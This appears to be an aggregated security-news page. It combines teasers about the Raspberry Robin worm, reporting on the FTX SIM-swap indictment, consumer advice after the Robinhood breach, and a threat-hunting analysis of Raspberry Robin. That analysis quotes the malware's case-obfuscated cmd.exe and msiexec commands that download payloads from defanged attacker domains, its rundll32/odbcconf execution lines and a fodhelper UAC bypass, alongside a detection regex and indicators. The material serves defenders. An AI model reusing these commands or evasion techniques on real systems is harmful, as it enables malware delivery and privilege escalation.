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Raspberry Robin Malware Upgrades with Discord Spread and New Exploits

By Newsroom
The operators of Raspberry Robin are now using two new one-day exploits to achieve local privilege escalation, even as the malware continues to be refined and improved to make it stealthier than before. This means that "Raspberry Robin has access to an exploit seller or its authors develop the exploits themselves in a short period of time," Check Point said in a report this

Arrests in $400M SIM-Swap Tied to Heist at FTX?

By BrianKrebs

Three Americans were charged this week with stealing more than $400 million in a November 2022 SIM-swapping attack. The U.S. government did not name the victim organization, but there is every indication that the money was stolen from the now-defunct cryptocurrency exchange FTX, which had just filed for bankruptcy on that same day.

A graphic illustrating the flow of more than $400 million in cryptocurrencies stolen from FTX on Nov. 11-12, 2022. Image: Elliptic.co.

An indictment unsealed this week and first reported on by Ars Technica alleges that Chicago man Robert Powell, a.k.a. “R,” “R$” and “ElSwapo1,” was the ringleader of a SIM-swapping group called the “Powell SIM Swapping Crew.” Colorado resident Emily “Em” Hernandez allegedly helped the group gain access to victim devices in service of SIM-swapping attacks between March 2021 and April 2023. Indiana resident Carter Rohn, a.k.a. “Carti,” and “Punslayer,” allegedly assisted in compromising devices.

In a SIM-swapping attack, the crooks transfer the target’s phone number to a device they control, allowing them to intercept any text messages or phone calls sent to the victim, including one-time passcodes for authentication or password reset links sent via SMS.

The indictment states that the perpetrators in this heist stole the $400 million in cryptocurrencies on Nov. 11, 2022 after they SIM-swapped an AT&T customer by impersonating them at a retail store using a fake ID. However, the document refers to the victim in this case only by the name “Victim 1.”

Wired’s Andy Greenberg recently wrote about FTX’s all-night race to stop a $1 billion crypto heist that occurred on the evening of November 11:

“FTX’s staff had already endured one of the worst days in the company’s short life. What had recently been one of the world’s top cryptocurrency exchanges, valued at $32 billion only 10 months earlier, had just declared bankruptcy. Executives had, after an extended struggle, persuaded the company’s CEO, Sam Bankman-Fried, to hand over the reins to John Ray III, a new chief executive now tasked with shepherding the company through a nightmarish thicket of debts, many of which it seemed to have no means to pay.”

“FTX had, it seemed, hit rock bottom. Until someone—a thief or thieves who have yet to be identified—chose that particular moment to make things far worse. That Friday evening, exhausted FTX staffers began to see mysterious outflows of the company’s cryptocurrency, publicly captured on the Etherscan website that tracks the Ethereum blockchain, representing hundreds of millions of dollars worth of crypto being stolen in real time.”

The indictment says the $400 million was stolen over several hours between November 11 and 12, 2022. Tom Robinson, co-founder of the blockchain intelligence firm Elliptic, said the attackers in the FTX heist began to drain FTX wallets on the evening of Nov. 11, 2022 local time, and continuing until the 12th of November.

Robinson said Elliptic is not aware of any other crypto heists of that magnitude occurring on that date.

“We put the value of the cryptoassets stolen at $477 million,” Robinson said. “The FTX administrators have reported overall losses due to “unauthorized third-party transfers” of $413 million – the discrepancy is likely due to subsequent seizure and return of some of the stolen assets. Either way, it’s certainly over $400 million, and we are not aware of any other thefts from crypto exchanges on this scale, on this date.”

The SIM-swappers allegedly responsible for the $400 million crypto theft are all U.S. residents. But there are some indications they had help from organized cybercriminals based in Russia. In October 2023, Elliptic released a report that found the money stolen from FTX had been laundered through exchanges with ties to criminal groups based in Russia.

“A Russia-linked actor seems a stronger possibility,” Elliptic wrote. “Of the stolen assets that can be traced through ChipMixer, significant amounts are combined with funds from Russia-linked criminal groups, including ransomware gangs and darknet markets, before being sent to exchanges. This points to the involvement of a broker or other intermediary with a nexus in Russia.”

Nick Bax, director of analytics at the cryptocurrency wallet recovery firm Unciphered, said the flow of stolen FTX funds looks more like what his team has seen from groups based in Eastern Europe and Russian than anything they’ve witnessed from US-based SIM-swappers.

“I was a bit surprised by this development but it seems to be consistent with reports from CISA [the Cybersecurity and Infrastructure Security Agency] and others that “Scattered Spider” has worked with [ransomware] groups like ALPHV/BlackCat,” Bax said.

CISA’s alert on Scattered Spider says they are a cybercriminal group that targets large companies and their contracted information technology (IT) help desks.

“Scattered Spider threat actors, per trusted third parties, have typically engaged in data theft for extortion and have also been known to utilize BlackCat/ALPHV ransomware alongside their usual TTPs,” CISA said, referring to the group’s signature “Tactics, Techniques an Procedures.”

Nick Bax, posting on Twitter/X in Nov 2022 about his research on the $400 million FTX heist.

Earlier this week, KrebsOnSecurity published a story noting that a Florida man recently charged with being part of a SIM-swapping conspiracy is thought to be a key member of Scattered Spider, a hacking group also known as 0ktapus. That group has been blamed for a string of cyber intrusions at major U.S. technology companies during the summer of 2022.

Financial claims involving FTX’s bankruptcy proceedings are being handled by the financial and risk consulting giant Kroll. In August 2023, Kroll suffered its own breach after a Kroll employee was SIM-swapped. According to Kroll, the thieves stole user information for multiple cryptocurrency platforms that rely on Kroll services to handle bankruptcy proceedings.

KrebsOnSecurity sought comment for this story from Kroll, the FBI, the prosecuting attorneys, and Sullivan & Cromwell, the law firm handling the FTX bankruptcy. This story will be updated in the event any of them respond.

Attorneys for Mr. Powell said they do not know who Victim 1 is in the indictment, as the government hasn’t shared that information yet. Powell’s next court date is a detention hearing on Feb. 2, 2024.

Update, Feb. 3, 12:19 p.m. ET: The FBI declined a request to comment.

New Analysis Reveals Raspberry Robin Can be Repurposed by Other Threat Actors

By Ravie Lakshmanan
A new analysis of Raspberry Robin's attack infrastructure has revealed that it's possible for other threat actors to repurpose the infections for their own malicious activities, making it an even more potent threat. Raspberry Robin (aka QNAP worm), attributed to a threat actor dubbed DEV-0856, is a malware that has increasingly come under the radar for being used in attacks aimed at finance,

Raspberry Robin Worm Evolves to Attack Financial and Insurance Sectors in Europe

By Ravie Lakshmanan
Financial and insurance sectors in Europe have been targeted by the Raspberry Robin worm, as the malware continues to evolve its post-exploitation capabilities while remaining under the radar. "What is unique about the malware is that it is heavily obfuscated and highly complex to statically disassemble," Security Joes said in a new report published Monday. The intrusions, observed against

Raspberry Robin Worm Strikes Again, Targeting Telecom and Government Systems

By Ravie Lakshmanan
The Raspberry Robin worm has been used in attacks against telecommunications and government office systems across Latin America, Australia, and Europe since at least September 2022. "The main payload itself is packed with more than 10 layers for obfuscation and is capable of delivering a fake payload once it detects sandboxing and security analytics tools," Trend Micro researcher Christopher So 

Chinese Cyber Espionage Hackers Using USB Devices to Target Entities in Philippines

By Ravie Lakshmanan
A threat actor with a suspected China nexus has been linked to a set of espionage attacks in the Philippines that primarily relies on USB devices as an initial infection vector. Mandiant, which is part of Google Cloud, is tracking the cluster under its uncategorized moniker UNC4191. An analysis of the artifacts used in the intrusions indicates that the campaign dates as far back as September

Raspberry Robin Operators Selling Cybercriminals Access to Thousands of Endpoints

By Ravie Lakshmanan
The Raspberry Robin worm is becoming an access-as-a-service malware for deploying other payloads, including IcedID, Bumblebee, TrueBot (aka Silence), and Clop ransomware. It is "part of a complex and interconnected malware ecosystem, with links to other malware families and alternate infection methods beyond its original USB drive spread," the Microsoft Security Threat Intelligence Center (MSTIC

New Evidence Links Raspberry Robin Malware to Dridex and Russian Evil Corp Hackers

By Ravie Lakshmanan
Researchers have identified functional similarities between a malicious component used in the Raspberry Robin infection chain and a Dridex malware loader, further strengthening the operators' connections to the Russia-based Evil Corp group. The findings suggest that "Evil Corp is likely using Raspberry Robin infrastructure to carry out its attacks," IBM Security X-Force researcher Kevin Henson 

Raspberry Robin: Highly Evasive Worm Spreads over External Disks

By Onur Mustafa Erdogan

Introduction

During our threat hunting exercises in recent months, we’ve started to observe a distinguishing pattern of msiexec.exe usage across different endpoints. As we drilled down to individual assets, we found traces of a recently discovered malware called Raspberry Robin. The RedCanary Research Team first coined the name for this malware in their blog post, and Sekoia published a Flash Report about the activity under the name of QNAP Worm. Both articles offer great analysis of the malware’s behavior. Our findings support and enrich prior research on the topic.

Execution Chain

Raspberry Robin is a worm that spreads over an external drive. After initial infection, it downloads its payload through msiexec.exe from QNAP cloud accounts, executes its code through rundll32.exe, and establishes a command and control (C2) channel through TOR connections.

Image 1: Execution chain of Raspberry Robin

Let’s walkthrough the steps of the kill-chain to see how this malware functions.

Delivery and Exploitation

Raspberry Robin is delivered through infected external disks. Once attached, cmd.exe tries to execute commands from a file within that disk. This file is either a .lnk file or a file with a specific naming pattern. Files with this pattern exhibit a 2 to 5 character name with an usually obscure extension, including .swy, .chk, .ico, .usb, .xml, and .cfg. Also, the attacker uses an excessive amount of whitespace/non printable characters and changing letter case to avoid string matching detection techniques. Example command lines include:

  • C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /RCmD<qjM.chK
  • C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /rcMD<[external disk name].LNk:qk
  • C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /v /c CMd<VsyWZ.ICO
  • C:\Windows\System32\cmd.exe [redacted whitespace/non printable characters] /R C:\WINDOWS\system32\cmd.exe<Gne.Swy

File sample for delivery can be found in this URL:
https://www.virustotal.com/gui/file/04c13e8b168b6f313745be4034db92bf725d47091a6985de9682b21588b8bcae/relations

Next, we observe explorer.exe running with an obscure command line argument, spawned by a previous instance of cmd.exe. This obscure argument seems to take the name of an infected external drive or .lnk file that was previously executed. Some of the samples had values including USB, USB DISK, or USB Drive, while some other samples had more specific names. On every instance of explorer.exe we see that the adversary is changing the letter case to avoid detection:

  • ExPLORer [redacted]
  • exploREr [redacted]
  • ExplORER USB Drive
  • eXplorer USB DISK

Installation

After delivery and initial execution, cmd.exe spawns msiexec.exe to download the Raspberry Robin payload. It uses -q or /q together with standard installation parameter to operate quietly. Once again, mixed case letters are used to bypass detection:

  • mSIexeC -Q -IhTtP://NT3[.]XyZ:8080/[11 char long random string]/[computer name]=[username]
  • mSIExEC /q /i HTTP://k6j[.]PW:8080/[11 char long random string]/[computer name]=[username]
  • MSIExEC -q -I HTTP://6W[.]RE:8080/[11 char long random string]/[computer name]=[username]
  • mSIExec /Q /IhTTP://0Dz[.]Me:8080/[11 char long random string]/[computer name]=[username]
  • msIexec /Q -i http://doem[.]Re:8080/[11 char long random string]/[computer name]?[username]
  • MSieXEC -Q-ihtTp://aIj[.]HK:8080/[11 char long random string]/[computer name]?[username]

As you can see above, URLs used for payload download have a specific pattern. Domains use 2 to 4 character names with obscure TLDs including .xyz, .hk, .info, .pw, .cx, .me, and more. URL paths have a single directory with a random string 11 characters long, followed by hostname and the username of the victim. On network telemetry, we also observed the Windows Installer user agent due to the usage of msiexec.exe. To detect Raspberry Robin through its URL pattern, use this regex:

^http[s]{0,1}\:\/\/[a-zA-Z0-9]{2,4}\.[a-zA-Z0-9]{2,6}\:8080\/[a-zA-Z0-9]+\/.*?(?:-|\=|\?).*?$

If we look up the WHOIS information for given domains, we see domain registration dates going as far back as February 2015. We also see an increase on registered domains starting from September 2021, which aligns with initial observations of Raspberry Robin by our peers.

WHOIS Creation Date Count
12/9/2015 1
10/8/2020 1
11/14/2020 1
7/3/2021 1
7/26/2021 2
9/11/2021 2
9/23/2021 9
9/24/2021 6
9/26/2021 4
9/27/2021 2
11/9/2021 3
11/10/2021 1
11/18/2021 2
11/21/2021 3
12/11/2021 7
12/31/2021 7
1/17/2022 6
1/30/2022 11
1/31/2022 3
4/17/2022 5

Table 1: Distribution of domain creation dates over time

 

Associated domains have SSL certificates with the subject alternative name of q74243532.myqnapcloud.com, which points out the underlying QNAP cloud infra. Also, their URL scan results return login pages to QTS service of QNAP:

Image 2: QNAP QTS login page from associated domains

Once the payload is downloaded, it is executed through various system binaries. First, rundll32.exe uses the ShellExec_RunDLL function from shell32.dll to leverage system binaries such as msiexec.exe, odbcconf.exe, or control.exe. These binaries are used to execute the payload stored in C:\ProgramData\[3 chars]\

  • C:\WINDOWS\system32\rundll32.exe shell32.dll ShellExec_RunDLL C:\WINDOWS\syswow64\MSIEXEC.EXE/FORCERESTART rfmda=HUFQMJFZWJSBPXH -NORESTART /QB -QR -y C:\ProgramData\Azu\wnjdgz.vhbd. -passive /QR /PROMPTRESTART -QR -qb /forcerestart
  • C:\Windows\system32\RUNDLL32.EXE shell32.dll ShellExec_RunDLLA C:\Windows\syswow64\odbcconf.exe -s -C -a {regsvr C:\ProgramData\Tvb\zhixyye.lock.} /a {CONFIGSYSDSN wgdpb YNPMVSV} /A {CONFIGDSN dgye AVRAU pzzfvzpihrnyj}
  • exe SHELL32,ShellExec_RunDLLA C:\WINDOWS\syswow64\odbcconf -E /c /C -a {regsvr C:\ProgramData\Euo\ikdvnbb.xml.}
  • C:\WINDOWS\system32\rundll32.exe SHELL32,ShellExec_RunDLL C:\WINDOWS\syswow64\CONTROL.EXE C:\ProgramData\Lzm\qkuiht.lkg.

It is followed by the execution of fodhelper.exe, which has the auto elevated bit set to true. It is often leveraged by adversaries in order to bypass User Account Control and execute additional commands with escalated privileges [3]. To monitor suspicious executions of fodhelper.exe, we suggest monitoring its instances without any command line arguments.

Command and Control

Raspberry Robin sets up its C2 channel through the additional execution of system binaries without any command line argument, which is quite unusual. That likely points to process injection given elevated privileges in previous steps of execution. It uses dllhost.exe, rundll32.exe, and regsvr32.exe to set up a TOR connection.

Detection through Global Threat Alerts

In Cisco Global Threat Alerts available through Cisco Secure Network Analytics and Cisco Secure Endpoint, we track this activity under the Raspberry Robin threat object. Image 3 shows a detection sample of Raspberry Robin:

Image 3: Raspberry Robin detection sample in Cisco Global Threat Alerts

Conclusion

Raspberry Robin tries to remain undetected through its use of system binaries, mixed letter case, TOR-based C2, and abuse of compromised QNAP accounts. Although we have similar intelligence gaps (how it infects external disks, what are its actions on objective) like our peers, we are continuously observing its activities.

Indicators of Compromise

Type Stage IOC
Domain Payload Delivery k6j[.]pw
Domain Payload Delivery kjaj[.]top
Domain Payload Delivery v0[.]cx
Domain Payload Delivery zk4[.]me
Domain Payload Delivery zk5[.]co
Domain Payload Delivery 0dz[.]me
Domain Payload Delivery 0e[.]si
Domain Payload Delivery 5qw[.]pw
Domain Payload Delivery 6w[.]re
Domain Payload Delivery 6xj[.]xyz
Domain Payload Delivery aij[.]hk
Domain Payload Delivery b9[.]pm
Domain Payload Delivery glnj[.]nl
Domain Payload Delivery j4r[.]xyz
Domain Payload Delivery j68[.]info
Domain Payload Delivery j8[.]si
Domain Payload Delivery jjl[.]one
Domain Payload Delivery jzm[.]pw
Domain Payload Delivery k6c[.]org
Domain Payload Delivery kj1[.]xyz
Domain Payload Delivery kr4[.]xyz
Domain Payload Delivery l9b[.]org
Domain Payload Delivery lwip[.]re
Domain Payload Delivery mzjc[.]is
Domain Payload Delivery nt3[.]xyz
Domain Payload Delivery qmpo[.]art
Domain Payload Delivery tiua[.]uk
Domain Payload Delivery vn6[.]co
Domain Payload Delivery z7s[.]org
Domain Payload Delivery k5x[.]xyz
Domain Payload Delivery 6Y[.]rE
Domain Payload Delivery doem[.]Re
Domain Payload Delivery bpyo[.]IN
Domain Payload Delivery l5k[.]xYZ
Domain Payload Delivery uQW[.]fUTbOL
Domain Payload Delivery t7[.]Nz
Domain Payload Delivery 0t[.]yT

References

  1. Raspberry Robin gets the worm early – https://redcanary.com/blog/raspberry-robin/
  2. QNAP worm: who benefits from crime? – https://7095517.fs1.hubspotusercontent-na1.net/hubfs/7095517/FLINT%202022-016%20-%20QNAP%20worm_%20who%20benefits%20from%20crime%20(1).pdf
  3. UAC Bypass – Fodhelper – https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/

Protecting Yourself in the Wake of the Robinhood Data Breach

By McAfee

The Robinhood trading platform recently disclosed a data breach that exposed the information of millions of its customers. News of the attack was released on Monday, November 8th along with word the hackers behind it had demanded an extortion payment from the company. 

According to Robinhood’s disclosure, the attack occurred on November 3rd, which allowed an unauthorized party to obtain the following: 

  • Email addresses for some 5 million people. 
  • Full names for another group of 2 million people. 

In addition, smaller groups of Robinhood customers had yet more information compromised. Around 310 people had their names, birth dates, and zip codes exposed in the breach. Another 10 customers had “more extensive account details revealed,” per Robinhood’s disclosure.  

Robinhood went on to say, “We believe that no Social Security numbers, bank account numbers, or debit card numbers were exposed and that there has been no financial loss to any customers as a result of the incident.” 

Robinhood further stated that the company contained the intrusion and that it promptly informed law enforcement of the extortion demand. Robinhood says that it is continuing to investigate the incident with the assistance of a security firm. 

The company advised its customers to visit the Robinhood help center to receive the latest messages from the company, noting that they will never include a link to access an account in a security alert. 

Any data breach that you and your information may have been involved in calls for a few quick security steps: 

1. Log into your account and update your password with a new one that is strong and unique. Likewise, if you use the same or similar passwords across several accounts, change those as well. (A password manager that’s included with comprehensive online protection software can do that work for you.) Set up two-factor authentication if your account allows for it, as this will provide an extra layer of protection as well. 

2. Review your statements for any strange activity—even the smallest of withdrawals or transactions could be the sign of a larger issue. 

3. Report any suspected fraud to the company or institution involved. They typically have set policies and procedures in place to provide support. 

If you believe that you’ve become a victim of identity theft, file a report with local law enforcement and the Federal Trade Commission (FTC). Law enforcement can provide you with a case number that you may need as part of the recovery process. Likewise, the FTC’s identity theft website provides excellent resources, including a recovery plan and a step-by-step walkthrough if you create an account with them. 

For even more information, visit our blog that points out the signs of identity theft and the steps you can take should you find yourself victim 

After the breach, keep a sharp eye out 

Given that the breach apparently exposed some 5 million email addresses, there’s the risk that these may end up in the hands of bad actors who may use them for follow-on attacks.  

Notable among them would be phishing attacks, where hackers could target Robinhood users with phony messages in an attempt to get affected users to reveal further account information. For example, hackers could potentially create bogus emails that appear to come from Robinhood and direct users to a malicious site that requests account information. As Robinhood stated, the company will never include a link to access an account in a security alert. Users should visit the Robinhood site directly for account information. 

This breach could lead to other phishing attacks as well, ones that may or may not pose as communication from Robinhood. Some of these phishing attacks can be rather easy to spot, as they may include typos, poorly rendered logos, or spoofed web addresses. However, some sophisticated hackers can roll out rather polished phishing attacks that can closely resemble legitimate communications.  

In all, people can avoid falling victim to phishing attacks by keeping the following in mind: 

1. Only access your accounts directly from the official website of the company or financial institution involved. If you receive an email, message, or text alerting you of an issue, do not click any links provided in the communication. Go straight to the site yourself by typing in the proper address and view your account information there. Likewise, calling the customer support line posted on their official site is an option as well. 

2. Use comprehensive online protection software that includes a spam filter. This can prevent phishing emails from reaching your inbox in the first place. 

3. Get to know the signs of phishing emails. A common sign of a scam is an email, ad, message, or site that simply doesn’t look or read right. (Maybe the grammar is awkward or the logo is grainy or has the colors slightly wrong.) However, some of them can look quite convincing, yet there are still ways to spot an attempted phishing attack. 

4. Beware of email attachments you aren’t expecting. This is always good form because hackers love to spike attachments with malware that’s designed to steal your personal information. Whether you get an unexpected attachment from a friend or business, follow up before opening it. That’s a quick way to find out if the attachment is legitimate or not. 

For more info on phishing and how to steer clear of it, check out our blog on how to spot phishing attacks. 

Protect your identity for the long haul 

The unfortunate fact is that data breaches can and do happen. Many of the larger data breaches make the headlines, yet many more do not—such as the ones that hit small businesses, restaurants, and medical care providers. In the hands of hackers, the information spilled by these breaches can provide them with the building blocks to commit identity theft. As a result, keeping on top of your identity and personal information is a must. 

The good news is that you have solid options to prevent them from harming you or at least greatly lessen their potential impact. With identity theft protection, even in the short-term, you can monitor emails addresses and usernames that are being used to breach other accounts. You can monitor dozens of different types of personal information and receive alerts to keep an eye out for misuse. Likewise, it can monitor your email addresses and bank accounts for signs of misuse or fraud, plus provide theft protection and support from a recovery specialist if identity theft, unfortunately, happens to you. 

Along those same lines, news of a data breach offers all of us a moment to pause and take stock of just how protected we are. Above and beyond the steps covered above, comprehensive online protection can protect your devices from malware, phishing attacks, malicious websites, and other threats. More importantly, it protects you—your identity and privacy, particularly in times where breaches such as the one we’re talking about here occur with seeming regularity.  

The post Protecting Yourself in the Wake of the Robinhood Data Breach appeared first on McAfee Blog.

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